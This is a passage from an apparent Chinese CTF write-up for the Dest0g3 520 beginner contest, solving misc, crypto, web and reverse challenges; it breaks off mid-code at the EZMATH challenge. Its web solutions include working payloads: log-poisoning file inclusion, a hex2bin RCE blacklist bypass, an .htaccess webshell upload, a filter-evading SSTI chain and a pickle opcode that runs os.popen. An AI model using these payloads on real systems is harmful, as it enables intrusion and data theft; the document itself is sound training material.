Dest0g3 520迎新赛

2022-05-26 match 2022赛 ∞ 评论

首届Dest0g3 520迎新赛更加注重CTFer的基础知识面掌握程度，由易到难，适合各学习阶段选手参加，纯萌新水准。

比赛时间：2022.5.20 10:00 - 5.27 10:00

题目分类：Web、Pwn、Misc、Crypto、Re、AI、BlockChain

题目难度：萌新

比赛类型：个人赛

比赛交流QQ群：923945203

个人赛奖励：总榜前10及各方向前三均可获得《从0到1：CTFer成长之路》一本 + 定制U盘（32G）一个

Rank: 12

MISC

Welcome to fxxking

关注公众号并回复：Give me the fxxking flag

公众号 Dest0g3 Team 回复：Give me the fxxking flag，

得到 The fxxking flag is: Dest0g3{W31c0m3_t0_DestCTF2022!}

Pngenius

foremost分解png图片得到zip压缩包，zsteg查看png图片的lsb通道得到 Password for zip:Weak_Pas5w0rd；

用密码 Weak_Pas5w0rd 解压zip压缩包得到flag：Dest0g3{2908C1AA-B2C1-B8E6-89D1-21B97D778603}。

EasyEncode

Enjoy Decoding

用ARCHPR爆破zip压缩包密码得到 100861，按照摩斯密码-16进制-Unicode-Base64 解码得到 Dest0g3{Deoding_1s_e4sy_4_U}。

你知道js吗

打开flag文件发现是word文件/压缩包，在 document.xml 中找到Base64编码的字符串，解码得到brainfuck，在线解密得到16进制字符串 446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D，转为字符得 Dest0g3{86facac9-0a5d-4047-b702-86cb37ab77b2}。

StrangeTraffic

Wireshark打开发现是Modbus流量，在流0发现分段Base64字符串 RGVzdDBnM3、szMUE1QkVB、Ni1GMjBELU、YxOEEtRThF、QS0yOUI0Rj、I1NzEwOEJ9，连接解码得 Dest0g3{31A5BEA6-F20D-F18A-E8EA-29B4F257108B}。

EasyWord

Let the word tell u

根据 hint.txt 得知 password.docm 密码全小写字母，且满足 ??q?b?，用john爆破：

1 2	office2john password.docm > hash.txt john --mask='?l?lq?lb?l' hash.txt

得到密码 ulqsbt；

打开发现存在宏，查看宏代码有密码，参考类似题目中破解宏密码的方法，将word文件用压缩包方式打开，找到 vbaProject.bin 文件以16进制方式查看，将 DBP 改为 DBX 并保存，再将修改后的文件替换到压缩包里，改回word文件格式，重新打开可看到宏代码。

进入VBA编辑器查看Dialog对应宏代码：

Private Sub CB_OK_Click()
Dim strpasw As String
Dim strdec As String
Dim strusrinput As String
Dim t As String
t = ChrW(21152) & ChrW(27833) & ChrW(21543) & ChrW(65292) & ChrW(21516) & ChrW(23398) & ChrW(20204) & ChrW(65281)

strusrinput = Dialog.TextBox_Pasw
Dim sinput As String
sinput = strusrinput

If (strusrinput <> "") Then
  strusout = Encode(strusrinput, t)
  If (strusout = "┤℡ǒqｘ~") Then
      strdec = Decode(Dialog.Label_ls.Caption, sinput)
  Else
     If (strusout = "ｋGJEｇｑ") Then
        strdec = Decode(Dialog.Label_ls1.Caption, sinput)
     Else
          If (strusout = "ЮΟopz+") Then
             strdec = Decode(Dialog.Label_ls2.Caption, sinput)
          Else
                If (strusout = "ｚΚjrШφεあ") Then
                    strdec = Decode(Dialog.Label_ls4.Caption, sinput)
                Else
                    If (strusout = "àǖtＵｗ┧ｈè") Then
                          strdec = Decode(Dialog.Label_ls3.Caption, sinput)
                    Else
                          strdec = StrConv(t, vbFromUnicode)
                    End If
                End If
           End If
      End If
   End If
   Label_CLUE.Caption = strdec
End If

无需分析加解密算法，输出结果 strusout 由 Encode(strusrinput, t) 加密得到，只需分别用解密函数反推五个if分支条件对应的明文即可，修改 Label_CLUE.Caption = strdec 为 Label_CLUE.Caption = Decode(xxx,t)，回到word运行 AutoOpen 宏，随便输入字符点击确定即可在Dialog的label处显示对应明文，分别是 123456、aaaaaa、000000、墙角数枝、iloveyou；

将 Label_CLUE.Caption = Decode(xxx,t) 改回 Label_CLUE.Caption = strdec，分别输入五段明文，发现输入 墙角数枝 得到 解压密码：两只黄鹂鸣翠柳,一行白鹭上青天!，结合word里的hint Rar密码为复杂型，长度为16位，包含了字母、数字和符号。，压缩包密码猜出为 2zhlmcl,1hblsqt.，解压拿到flag：Dest0g3{VBScr1pt_And_Hashc4t_1s_g00d}。

4096

Just relax and always be aware of the changes on the web!

4096小游戏，查看js，用chrome源代码里的搜索功能，搜 flag 可在 local_storage_manager.js 里找到

function getPartFlag(score) {
  if (score > 10000) {
    console.log("Q29uZ3JhdHVsYXRpb25zLCB0aGlzIGlzIHBhcnQgb2YgdGhlIGZsYWc6IE5HVmxOeTFpTmpjekxUazNNV1E0TVdZNFlqRTNOMzA9Lg==");
  }
}

两次base64解码得到flag后半部分 4ee7-b673-971d81f8b177}。

前半部分在js内找很久都没找到，观察资源文件里存在 favicon.ico 和 favicon.png 两张图，取出来发现png图有隐写，foremost分出一个wav文件和一个zip文件；

用audacity查看wav，前后两段是DTMF按键音，解码出 74958097831，中间一段是SSTV慢扫描电视，用robot36扫出图片，内容是 MD5{cell phone number}，将前面的 74958097831 倒序成手机号格式，MD5加密得到 32fc1b5487cb447f792a19418b92544e，解压zip压缩包；

压缩包里为切割后打乱拼接的图片，利用gaps工具拼图

gaps --image=puzzle.png --size=64 --save

得到的结果还是有部分块位置不对，再gaps两次得到完整原图：

part_flag_solution_solution_solution

将字符串拼接得 RGVzdDBnM3tlZDRkMTE0Zi05ZWU0LQ==，base64解码得flag前半段：Dest0g3{ed4d114f-9ee4-。

Python_jail

听说python是最好的语言，那我把它锁起来，我就是最好的语言了！

根据hint提示，password里内容是whitespace语言，在线编译得到 a8e15220-7404-4269-812e-6418557b7dc2，是zip压缩包密码；

解压zip压缩包，zsteg发现lsb隐写pyc文件，提取：

zsteg -E "b1,rgb,lsb,xy" SECRET1.png > out.pyc

无需反编译，16进制查看发现 ZmxhZ3tiNWJjZmM4Ny01Y2E2LTQzZjEtYjM4NC01N2QwOWI4ODZjYTl9，base64解码得 flag{b5bcfc87-5ca6-43f1-b384-57d09b886ca9}。

codegame

Funny and ez codegame with Key to celebrate EDG

KEYcode里经查是LOLCODE Language，用dcode解得到输出是 QEFPFPQEBMXPPTLOA，以此为密码解压zip压缩包，得到word文件；

直接打开word发现 AES 提示，用压缩包打开word有个 fllllllllll1ag.txt 文件，里面是一串emoji表情，猜想为emoji-aes加密，在线解密，同样用 QEFPFPQEBMXPPTLOA 作为key，没成功，再不断盲调Rotation，在Rotation为4的时候解密成功，得到

666C61677B39663638663333342D303137612D343230312D393264662D6464646363313435333334647D

16进制转字符串得 flag{9f68f334-017a-4201-92df-dddcc145334d}。

rookie hacker-2

（容器1的容器名为 test_docker1，容器2的容器名为 test_docker2）
Alice访问自己的docker时忘记了把容器分别部署在哪些ip上，你能帮帮他么？ Flag格式：Dest0g3{ip1_ip2_…..} 例：假设容器1、容器2的ip为1.1.1.1、2.2.2.2，则flag为 Dest0g3{1.1.1.1_2.2.2.2}

非预期，docker的IP地址会以 "IPAddress": "172.x.x.x" 的形式记录在配置文件中，直接在E01文件里用正则表达式 "IPAddress":"172 搜索，取出现频率最高的两个IP即可，flag：Dest0g3{172.18.0.2_172.18.0.3}。

CRYPTO

babyRSA

from Crypto.Util.number import bytes_to_long, getPrime
from gmpy2 import next_prime
p = getPrime(1024)
q = next_prime(p)
n = p*q
flag = open('flag.txt', 'rb').read()
m = bytes_to_long(flag)
e = 65537
c = pow(m, e, n)
print(n)
print(c)
'''
27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267
14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854
'''

$p,q$ 相近，常规RSA：

from gmpy2 import *

n = 
e = 
c = 
p = iroot(n,2)[0]
while not is_prime(p):
    p += 1
q = n // p
d = invert(e, (p-1)*(q-1))
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

# b'Dest0g3{96411aad-032c-20a8-bc43-b473f6f08536}'

babyAES

from Crypto.Cipher import AES
import os
iv = os.urandom(16)
key = os.urandom(16)
my_aes = AES.new(key, AES.MODE_CBC, iv)
flag = open('flag.txt', 'rb').read()
flag += (16 - len(flag) % 16) * b'\x00'
c = my_aes.encrypt(flag)
print(c)
print(iv)
print(key)

'''
b'C4:\x86Q$\xb0\xd1\x1b\xa9L\x00\xad\xa3\xff\x96 hJ\x1b~\x1c\xd1y\x87A\xfe0\xe2\xfb\xc7\xb7\x7f^\xc8\x9aP\xdaX\xc6\xdf\x17l=K\x95\xd07'
b'\xd1\xdf\x8f)\x08w\xde\xf9yX%\xca[\xcb\x18\x80'
b'\xa4\xa6M\xab{\xf6\x97\x94>hK\x9bBe]F'
'''

AES-CBC解密：

from Crypto.Cipher import AES

c = b'C4:\x86Q$\xb0\xd1\x1b\xa9L\x00\xad\xa3\xff\x96 hJ\x1b~\x1c\xd1y\x87A\xfe0\xe2\xfb\xc7\xb7\x7f^\xc8\x9aP\xdaX\xc6\xdf\x17l=K\x95\xd07'
iv = b'\xd1\xdf\x8f)\x08w\xde\xf9yX%\xca[\xcb\x18\x80'
key = b'\xa4\xa6M\xab{\xf6\x97\x94>hK\x9bBe]F'
my_aes = AES.new(key, AES.MODE_CBC, iv)
m = my_aes.decrypt(c)
print(m)

# b'Dest0g3{d0e5fa76-e50f-76f6-9cf1-b6c2d576b6f4}\x00\x00\x00'

ezDLP

from Crypto.Util.number import *

flag = open('flag.txt', 'rb').read()
x = bytes_to_long(flag)
g = 19
p = 335215034881592512312398694238485179340610060759881511231472142277527176340784432381542726029524727833039074808456839870641607412102746854257629226877248337002993023452385472058106944014653401647033456174126976474875859099023703472904735779212010820524934972736276889281087909166017427905825553503050645575935980580803899122224368875197728677516907272452047278523846912786938173456942568602502013001099009776563388736434564541041529106817380347284002060811645842312648498340150736573246893588079033524476111268686138924892091575797329915240849862827621736832883215569687974368499436632617425922744658912248644475097139485785819369867604176912652851123185884810544172785948158330991257118563772736929105360124222843930130347670027236797458715653361366862282591170630650344062377644570729478796795124594909835004189813214758026703689710017334501371279295621820181402191463184275851324378938021156631501330660825566054528793444353
h = pow(g, x, p)
print(h)
'''
199533304296625406955683944856330940256037859126142372412254741689676902594083385071807594584589647225039650850524873289407540031812171301348304158895770989218721006018956756841251888659321582420167478909768740235321161096806581684857660007735707550914742749524818990843357217489433410647994417860374972468061110200554531819987204852047401539211300639165417994955609002932104372266583569468915607415521035920169948704261625320990186754910551780290421057403512785617970138903967874651050299914974180360347163879160470918945383706463326470519550909277678697788304151342226439850677611170439191913555562326538607106089620201074331099713506536192957054173076913374098400489398228161089007898192779738439912595619813699711049380213926849110877231503068464392648816891183318112570732792516076618174144968844351282497993164926346337121313644001762196098432060141494704659769545012678386821212213326455045335220435963683095439867976162
'''

DLP求解：

# Sage
g = 19
p = 
h = 
x = discrete_log(mod(h,p),mod(g,p))
print(bytes.fromhex(hex(x)[2:]))

# b'Dest0g3{07ed2a6f-182f-a05d-c81e-1318af820a78}'

ezStream

from Crypto.Util.number import *

f = open('flag.txt', 'r')
flag = f.read()
f.close()
assert flag[:8] == "Dest0g3{"


class LCG:
    def __init__(self):
        self.a = getRandomNBitInteger(32)
        self.b = getRandomNBitInteger(32)
        self.m = getPrime(32)
        self.seed = getRandomNBitInteger(32)

    def next(self):
        self.seed = (self.a * self.seed + self.b) % self.m
        return self.seed >> 16

    def output(self):
        print("a = {}\nb = {}\nm = {}".format(self.a, self.b, self.m))
        print("state1 = {}".format(self.next()))
        print("state2 = {}".format(self.next()))


lcg = LCG()
lcg.output()
c = b''.join([long_to_bytes(ord(flag[i]) ^ (lcg.next() % 10))
              for i in range(len(flag))])
print(bytes_to_long(c))
'''
a = 3939333498
b = 3662432446
m = 2271373817
state1 = 17362
state2 = 20624
600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878
'''

LCG，爆破求seed：

a = 3939333498
b = 3662432446
m = 2271373817
state1 = 17362
state2 = 20624
c = 600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878
c = list(bytes.fromhex(hex(c)[2:]))

for i in range(65536):
    s1 = (state1<<16)+i
    s2 = (a*s1+b) % m
    if s2>>16 == state2:
        seed = ((s1-b)*inverse_mod(a,m))%m
        print(seed)
        
# 1315807869
# 710396196
# 104984523

三个结果分别代入求解：

c = 600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878
c = list(bytes.fromhex(hex(c)[2:]))
seed = [1315807869,710396196,104984523]

for k in seed:
    class LCG:
        def __init__(self):
            self.a = 3939333498
            self.b = 3662432446
            self.m = 2271373817
            self.seed = k

        def next(self):
            self.seed = (self.a * self.seed + self.b) % self.m
            return self.seed >> 16

    lcg = LCG()
    lcg.next()
    lcg.next()
    flag = ''
    for i in range(len(c)):
        flag += chr(c[i] ^^ (lcg.next() % 10))
    print(flag)
    
# Bcpp7`;{e84m559>$l52o(e89: g5bl-kfg376077b26|
# Iosr2f;b02g6883(c59a%`5=6"`4oi-ga`645;3<d26}
# Dest0g3{f21c7180-c35e-f912-e4bc-bfd235759a25}

Mr.Doctor

from Crypto.Util.number import *
from hashlib import sha256
import string

table = string.ascii_letters + string.digits
flag = open('flag.txt', 'rb').read()[8:-1]
seed = getRandomNBitInteger(40)


class SHA256:
    def __init__(self):
        self.proof = []
        self.sha = 0
        self.sha_flag = []

    def encryption(self):
        for i in range(len(flag) // 4):
            self.proof.append(flag[4 * i:4 + 4 * i])
            self.sha = sha256(self.proof[i]).hexdigest().encode()
            self.sha_flag.append(bytes_to_long(self.sha))
        return self.sha_flag


class RHODES_ELITE:
    def __init__(self):
        self.Doctor = getPrime(64)
        self.Amiya = getRandomNBitInteger(40)
        self.Rosmontis = getRandomNBitInteger(40)
        self.Blaze = getRandomNBitInteger(40)
        self.seed = seed

    def next(self):
        self.seed = (self.Amiya * self.seed * self.seed + self.Rosmontis * self.seed + self.Blaze) % self.Doctor
        return self.seed >> 12

    def output(self):
        print("Amiya = ", self.Amiya)
        print("Rosmontis = ", self.Rosmontis)
        print("Blaze = ", self.Blaze)
        print("Doctor = ", self.Doctor)


sha = SHA256()
sha_flag = sha.encryption()
elite = RHODES_ELITE()
elite.output()
print("Ash = ", elite.next())
print("SliverAsh = ", elite.next())
W = b''.join([long_to_bytes(sha_flag[i] % (seed ** 3) ^ (elite.next() % 100)) for i in range(len(sha_flag))])
print(bytes_to_long(W))

'''
Amiya =  956366446278
Rosmontis =  1061992537343
Blaze =  636205571590
Doctor =  18068433704538283397
Ash =  1097363493609113
SliverAsh =  2051431344160327
1920358673646340365826516899186299898354902389402251443712585240681673718967552394250439615271108958695077816395789102908554482423707690040360881719002797624203057223577713119411615697309430781610828105111854807558984242631896605944487456402584672441464316236703857236007195673926937583757881853655505218912262929700452404084
'''

二阶LCG + 4位一轮爆破，用二元Coppersmith方法求seed：

import itertools

def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()
        R = f.base_ring()
        N = R.cardinality()
        f /= f.coefficients().pop(0)
        f = f.change_ring(ZZ)

        G = Sequence([], f.parent())
        for i in range(m + 1):
            base = N ^ (m - i) * f ^ i
            for shifts in itertools.product(range(d), repeat=f.nvariables()):
                g = base * prod(map(power, f.variables(), shifts))
                G.append(g)

        B, monomials = G.coefficient_matrix()
        monomials = vector(monomials)

        factors = [monomial(*bounds) for monomial in monomials]
        for i, factor in enumerate(factors):
            B.rescale_col(i, factor)

        B = B.dense_matrix().LLL()

        B = B.change_ring(QQ)
        for i, factor in enumerate(factors):
            B.rescale_col(i, 1 / factor)

        H = Sequence([], f.parent().change_ring(QQ))
        for h in filter(None, B * monomials):
            H.append(h)
            I = H.ideal()
            if I.dimension() == -1:
                H.pop()
            elif I.dimension() == 0:
                roots = []
                for root in I.variety(ring=ZZ):
                    root = tuple(R(root[var]) for var in f.variables())
                    roots.append(root)
                    return roots
        return []
        
a = 956366446278
b = 1061992537343
c = 636205571590
p = 18068433704538283397
state1 = 1097363493609113
state2 = 2051431344160327
PR.< s1_low, s2_low > = PolynomialRing(Zmod(p))
f = a * ((state1 << 12) + s1_low) ^ 2 + b * ((state1 << 12) + s1_low) + c - (state2 << 12) - s2_low
state1 = small_roots(f, (2 ^ 28, 2 ^ 28), m=3)[0][0] + (state1 << 12)
state2 = small_roots(f, (2 ^ 28, 2 ^ 28), m=3)[0][1] + (state2 << 12)

P.<x> = PolynomialRing(Zmod(p))
f = a * x * x + b * x + c - state1
seed = f.monic().roots()[1][0]
print(seed)

# 626844643882

代入逐4位爆破flag：

from pwn import *
from hashlib import sha256
import string
from pwnlib.util.iters import mbruteforce

class lcg:
    def __init__(self):
        self.p = 18068433704538283397
        self.a = 956366446278
        self.b = 1061992537343
        self.c = 636205571590
        self.seed = 626844643882

    def next(self):
        self.seed = (self.a * self.seed * self.seed + self.b * self.seed + self.c) % self.p
        return self.seed >> 12

l = lcg()
seed = l.seed
l.next()
l.next()

c = 1920358673646340365826516899186299898354902389402251443712585240681673718967552394250439615271108958695077816395789102908554482423707690040360881719002797624203057223577713119411615697309430781610828105111854807558984242631896605944487456402584672441464316236703857236007195673926937583757881853655505218912262929700452404084
c = hex(c)[2:].rjust(9*30,'0')

table = '0123456789abcdef-'
def pow(nowc):
    print(nowc)
    t=l.next()
    print(t)
    return mbruteforce(lambda x: hex(int(sha256(x).hexdigest().encode('hex'),16)%(seed**3)^(t%100))[2:].rjust(30,'0') == nowc, table, length=4, method='fixed')
    
flag = ''
for i in range(9):
    flag += pow(c[30*i:30*(i+1)])
print(flag)

# d2a4d1af-8a80-8794-99ac-635f89494cac

Bag

import gmpy2
from Crypto.Util.number import *
from secret import flag

message = bytes_to_long(flag[8:-1])
Baglenth=286
Bag=[]
Bag=Bag[::-1]
m=372992427307339981616536686110115630075342113098010788080347982669869622759400031649792
w=274062421102700155372289583695782343443
assert gmpy2.gcd(m,w)==1
h=0
j=0
if m.bit_length()%2==0:
    h=m.bit_length()
    j=int(h//2)
else:
    h=m.bit_length()
    j=int(h//2+1)
def pad(m,lenth):
    while len(m)<lenth:
        m='0'+m
    return m
def keygen():
    pk=[]
    sk=[]
    sk.append(m)
    sk.append(int(gmpy2.invert(w,m)))
    D=[]
    binD=[]
    for i in range(Baglenth):
        di=(w*Bag[i])%m
        D.append(di)
        bindi=bin(di)[2:]
        bindi=pad(bindi,h)
        binD.append(bindi)
    U=[]
    V=[]
    for i in range(Baglenth):
        tempu=int(str(binD[i][:j]),2)
        U.append(tempu)
        tempv=int(str(binD[i][j:]),2)
        V.append(tempv)
    e=gmpy2.next_prime(sum(V))+2
    f=gmpy2.next_prime(sum(U))
    assert gmpy2.gcd(e,f)==1
    sk.append(int(e))
    sk.append(int(f))
    for i in range(Baglenth):
        ai=e*U[i]+f*V[i]
        pk.append(int(ai))
    return pk,sk
Pk,Sk=keygen()
print(Pk)
print(Sk)
def Encrypt(plain,pk):
    mbin=bin(plain)[2:]
    c=0
    mbin=pad(mbin,Baglenth)
    for i in range(Baglenth):
        c=c+int(mbin[i])*pk[i]
    return c
c=Encrypt(message,Pk)
print(c)

背包密码系统，LLL算法解。

# Sage
import binascii
pubKey = []
nbit = len(pubKey)
encoded = 
A = Matrix(ZZ, nbit + 1, nbit + 1)
for i in range(nbit):
    A[i, i] = 1
for i in range(nbit):
    A[i, nbit] = pubKey[i]
A[nbit, nbit] = -int(encoded)

res = A.LLL()
for i in range(0, nbit + 1):
    M = res.row(i).list()
    flag = True
    for m in M:
        if m != 0 and m != 1:
            flag = False
            break
    if flag:
        print(i, M)
        M = ''.join(str(j) for j in M)
        M = M[:-1]
        M = hex(int(M, 2))[2:]
        print(bytes.fromhex(M))
        
b'5090ea29-8cb6-4ad8-ab43-1e6f65cc8eeb'

WEB

phpdest

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
    require_once($_GET['file']);
}

文件包含，绕 require_once，burpsuite或 curl -A 修改User-Agent为 <?php show_source("flag.php");?>，

然后用日志包含 ?file=/var/log/nginx/access.log 得到flag。

EasyPHP

Post something

<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
    echo $fl4g;
}else{
    echo "Try harder!";
}
set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }
);
$fl4g .= $dest0g3;
?>

异常处理函数 use() 中输出flag，传参时传入数组即可触发异常：ctf[]=1。

SimpleRCE

<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

黑名单绕过rce，用16进制编码绕过：aaa=hex2bin('73797374656d')('uniq /f*');

funny_upload

文件上传后缀白名单绕过，利用.htaccess文件实现非PHP文件解析成PHP代码执行。

先上传 .htaccess 文件，由于文件中不能包含 <? ，用PHP伪协议base64解码处理：

1 2	AddType application/x-httpd-php .xxx php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"

再上传base64编码后的 shell.xxx 文件：

1	PD9waHAgcHJpbnRfcihmaWxlX2dldF9jb250ZW50cygnL2ZsYWcnKSk7

访问 shell.xxx，其中内容 <?php print_r(file_get_contents('/flag')); 以PHP代码执行，得到flag。

EasySSTI

登录框随便输入账号密码，进入 Hello xxx 界面，尝试更换账号为 {{2*3}}，出现 Hello 6，可利用SSTI注入rce。

Fuzz发现过滤了很多符号，包括 request _ ' " [ . 空格 class getitem import 等，不过 config 可用，可从 {{config}} 内容字符串中找到所需字符来拼接构造字符串，可以避免用到引号；过滤的关键词使用 dict(cla=aa,ss=bb)|join() 形式绕过：

# _
config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3)
# 空格
config|string()|list()|attr(dict(p=aa,op=bb)|join())(7)
# /
config|string()|list()|attr(dict(p=aa,op=bb)|join())(279)

# __class__
(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2+dict(cla=aa,ss=bb)|join()+(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2

# config.__class__.__init__.__globals__
config|attr((config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2+dict(cla=aa,ss=bb)|join()+(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2)|attr((config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2+dict(in=aa,it=bb)|join()+(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2)|attr((config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2+dict(glo=aa,bals=bb)|join()+(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2)

#config.__class__.__init__.__globals__['os'].popen('cat /flag').read()
config|attr((config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2+dict(cla=aa,ss=bb)|join()+(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2)|attr((config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2+dict(in=aa,it=bb)|join()+(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2)|attr((config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2+dict(glo=aa,bals=bb)|join()+(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2)|attr((config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2+dict(geti=aa,tem=bb)|join()+(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2)(dict(o=aa,s=bb)|join())|attr(dict(po=aa,pen=bb)|join())(dict(c=aa,at=bb)|join()+config|string()|list()|attr(dict(p=aa,op=bb)|join())(7)+config|string()|list()|attr(dict(p=aa,op=bb)|join())(279)+dict(fl=aa,ag=bb)|join())|attr(dict(re=aa,ad=bb)|join())()

middle

import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64

app = Flask(__name__)

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def show():
    base_dir = os.path.dirname(__file__)
    resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())
    resp.headers["Content-type"] = "text/plain;charset=UTF-8"
    return resp

@app.route('/home', methods=['POST', 'GET'])
def home():
    data=request.form['data']
    User = restricted_loads(base64.b64decode(data))
    return str(User)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=5000)
import os
def backdoor(cmd):
    # 这里我也改了一下
    if isinstance(cmd,list) :
        s=''.join(cmd)
        print("!!!!!!!!!!")
        s=eval(s)
        return s
    else:
        print("??????")

flask框架，用到python反序列化，参考巅峰极客2021 - what_pickle，限制了加载的模块只能为 config 里的，名字不能有 __，但是可以通过 config 的 backdoor(cmd) 函数绕过。

这题简化了 backdoor(cmd) 函数的使用条件，直接调用即可。利用pker构造opcode：

b'''(cconfig
backdoor
(S'__import__("os").popen("cat /flag.txt").read()'
lo.'''

base64编码opcode，传参：

data=KGNjb25maWcKYmFja2Rvb3IKKFMnX19pbXBvcnRfXygib3MiKS5wb3BlbigiY2F0IC9mbGFnLnR4dCIpLnJlYWQoKScKbG8u

REVERSE

simpleXOR

简单的加密

main() 代码：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4[72]; // [rsp+0h] [rbp-160h]
  char v5[52]; // [rsp+120h] [rbp-40h] BYREF
  int v6; // [rsp+154h] [rbp-Ch]
  unsigned int j; // [rsp+158h] [rbp-8h]
  int i; // [rsp+15Ch] [rbp-4h]

  v6 = 247;
  printf("input flag:");
  __isoc99_scanf("%s", v5);
  for ( i = 0; i <= 35; ++i )
  {
    v4[i + 36] = v5[i];
    v4[i] = v6 ^ (v4[i + 36] + i);
  }
  for ( j = 0; j <= 0x23; ++j )
  {
    if ( v4[j] != result_0[j] )
    {
      puts("Wrong!!!");
      return 0;
    }
    if ( j == 35 )
      puts("Success!!!");
  }
  return 0;
}

先加下标值再异或247，最后校验密文，简单还原：

c = [179, 145, 130, 128, 195, 155, 206, 117, 207, 156, 154, 133, 133, 205, 184, 132, 170, 125, 189, 187, 177, 181, 150, 113, 141, 158, 134, 191, 115, 168, 163, 156, 131, 101, 158, 87]
flag = [(c[i]^247)-i for i in range(len(c))]
print(bytes(flag))

# b'Dest0g3{0bcgf-AdMy892-KobPW-hB6LTqG}'

hi

main() 代码：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+4h] [rbp-ACh]
  int v1; // [rsp+8h] [rbp-A8h]
  char enc[45]; // [rsp+10h] [rbp-A0h]
  char str[100]; // [rsp+40h] [rbp-70h] BYREF
  unsigned __int64 v8; // [rsp+A8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  memset(str, 0, sizeof(str));
  *(_QWORD *)enc = 0x9F8E7A1CC6486497LL;
  *(_QWORD *)&enc[8] = 0x69EEF382E760BD46LL;
  *(_QWORD *)&enc[16] = 0xB9C017E2E30EF749LL;
  *(_QWORD *)&enc[24] = 0x98410148A430392CLL;
  *(_QWORD *)&enc[32] = 0xE80E7411E5B5A939LL;
  *(_DWORD *)&enc[40] = 0xA58BFDAC;
  enc[44] = 109;
  fwrite("input: ", 1uLL, 7uLL, stdout);
  fgets(str, 46, stdin);
  if ( strlen(str) != 45 )
    exit(0);
  for ( i = 0; i <= 44; ++i )
  {
    v1 = 23 * str[i];
    if ( ((unsigned int)((v1 + x[i]) >> 31) >> 24) + (_BYTE)v1 + x[i] - ((unsigned int)((v1 + x[i]) >> 31) >> 24) != enc[i] )
      exit(0);
  }
  puts("good!");
  return 0;
}

加密逻辑中 ((v1 + x[i]) >> 31) >> 24) 互减抵消，剩下 23 * str[i] + x[i] == enc[i]，简单还原：

import gmpy2
enc = [151, 100, 72, 198, 28, 122, 142, 159, 70, 189, 96, 231, 130, 243, 238, 105, 73, 247, 14, 227, 226, 23, 192, 185, 44, 57, 48, 164, 72, 1, 65, 152, 57, 169, 181, 229, 17, 116, 14, 232, 172, 253, 139, 165, 109]
x = [123, 81, 243, 90, 204, 57, 249, 146, 28, 158, 88, 105, 157, 247, 253, 74, 62, 251, 29, 44, 77, 12, 112, 177, 59, 141, 37, 237, 145, 177, 115, 141, 130, 230, 231, 80, 32, 97, 98, 60, 0, 58, 166, 157, 50]
flag = [((enc[i]-x[i])*gmpy2.invert(23,256))%256 for i in range(len(enc))]
print(bytes(flag))

# b'Dest0g3{f982cd79-d7a3-0874-aa0b-a5b37e4445c8}'

EZMATH

ILSpy查看dll文件，主要逻辑代码：

private static void <Main>$(string[] args)
{
	Console.Write("Input your flag:");
	string text = Console.ReadLine();
